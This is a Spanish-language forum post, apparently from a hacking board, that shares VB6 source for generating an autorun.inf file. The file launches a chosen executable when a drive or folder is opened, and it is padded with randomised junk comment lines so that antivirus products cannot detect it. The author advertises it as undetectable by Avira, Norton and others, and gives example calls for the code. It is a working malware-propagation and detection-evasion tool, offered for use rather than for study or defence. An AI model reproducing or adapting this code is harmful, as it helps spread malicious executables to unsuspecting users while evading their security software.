[Src][VB6] Autorun.inf FUD (Pensaste que ya no servia LOL)

[Src][VB6] Autorun.inf FUD (Pensaste que ya no servia LOL)



Bueno hace mucho que me la sabia como hacer un Autorun.Inf FUD solo que como ya abandono las malas practicas empesare a liberar algunos codigos sencillos pero utiles para algunos:

Este es un codigo para generar un archivo Autorun.inf 100% FUD indetectable ante AVIRA Norton, ... bueno ante cualquier AV... hasta la fecha sigue intacto xP.

OJO LOS AUTORU.INF SIEMPRE son DIFERENTES!¡.

Código

Codigo en [vb]:

'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel ) //
' // //
' // Web: http://InfrAngeluX.Sytes.Net/ //
' // //
' // |-> Pueden Distribuir Este Codigo siempre y cuando //
' // no se eliminen los creditos originales de este codigo //
' // No importando que sea modificado/editado o engrandesido //
' // o achicado, si es en base a este codigo //
' ////////////////////////////////////////////////////////////////

option explicit

Public Function GenerarAutorun(StrPath As String, StrExeNameExt As String) As Long
Dim Var(6) As String
Dim DataWrite As String
Dim i As Integer
Dim RN As Integer
Dim nMin As Long
Dim nMax As Long
Dim Sep As String
Dim Char1 As String * 1
Dim Char2 As String * 1
Var(0) = "[Autorun]"
Var(1) = "Open = " & StrExeNameExt
Var(2) = "UseAutoPlay = 1"
Var(3) = "action = @" & StrExeNameExt
Var(4) = "shell\open\Command = " & StrExeNameExt
Var(5) = "shell\open\Default = 1"
Var(6) = "shell\explore\Command = " & StrExeNameExt
If Dir(StrPath, vbDirectory) <> "" Then
Call NormalizePath(StrPath)
StrPath = StrPath & "autorun.inf"
Open StrPath For Binary As 1
For i = 0 To 6
DataWrite = vbCrLf & Var(i)
nMin = NumeroAleatorio(100, 1000)
nMax = nMin + NumeroAleatorio(100, 1000)
For RN = 0 To NumeroAleatorio(nMin, nMax)
Char1 = Chr(NumeroAleatorio(50, 255))
Char2 = Chr(NumeroAleatorio(50, 255))
Sep = Chr$(NumeroAleatorio(1, 255))
While Sep = Char1 Or Sep = Char2: DoEvents
Sep = Chr$(NumeroAleatorio(1, 255))
Wend
DataWrite = DataWrite & vbCrLf & ";" & TextoAleatorio(Char1 & Sep & Char2, Sep, 1)
Next RN
Put 1, , DataWrite
Next i
Close 1
GenerarAutorun = 1
End If
ErrorFatal:
End Function
Private Sub NormalizePath(ByRef sData As String)
sData = IIf(Right$(sData, 1) = "\", sData, sData & "\")
End Sub
Function TextoAleatorio(StrRango As String, Separador As String, Optional LENTEXTMIN As Long = 1, Optional LENTEXTMAX As Long = -1) As String
Dim spli() As String
Dim i As Double
If InStr(StrRango, Separador) > 0 Then
spli = Split(StrRango, Separador)
LENTEXTMAX = LENTEXTMIN + Int(IIf(LENTEXTMAX = -1, NumeroAleatorio(1, 100), LENTEXTMAX))
For i = LENTEXTMIN To LENTEXTMAX
TextoAleatorio = TextoAleatorio & Chr(NumeroAleatorio(Asc(spli(0)), Asc(spli(1))))
Next i
End If
End Function
Public Function NumeroAleatorio(MinNum As Long, MaxNum As Long) As Long
Dim Tmp As Long
If MaxNum < MinNum Then: Tmp = MaxNum: MaxNum = MinNum: MinNum = Tmp
Randomize: NumeroAleatorio = CLng((MinNum - MaxNum + 1) * Rnd + MaxNum)
End Function




la Llamada se realisa en alguna parte de su Codigo fuente de la siguiente manera:


Código

Codigo en [vb]:

Call GenerarAutorun("c:\", "Ejecuta.exe")




Donde C:\ es la RUTA donde se guardara el archivo Autorun.inf y donde Ejecuta.exe es el archivo en el mismo directorio a ejecutar con el metodo Autorun.Inf

ahora si se quiere ejecutar el exe de un subdirectorio con el respoecto a donde se encuentra el Autorun.inf actual solo hay que hacerlo de la siguiente forma:

Código

Codigo en [vb]:

Call GenerarAutorun("c:\", "Carpeta\SubCarpeta2\Ejecuta.exe")




Sulce Infierno Lunar!¡.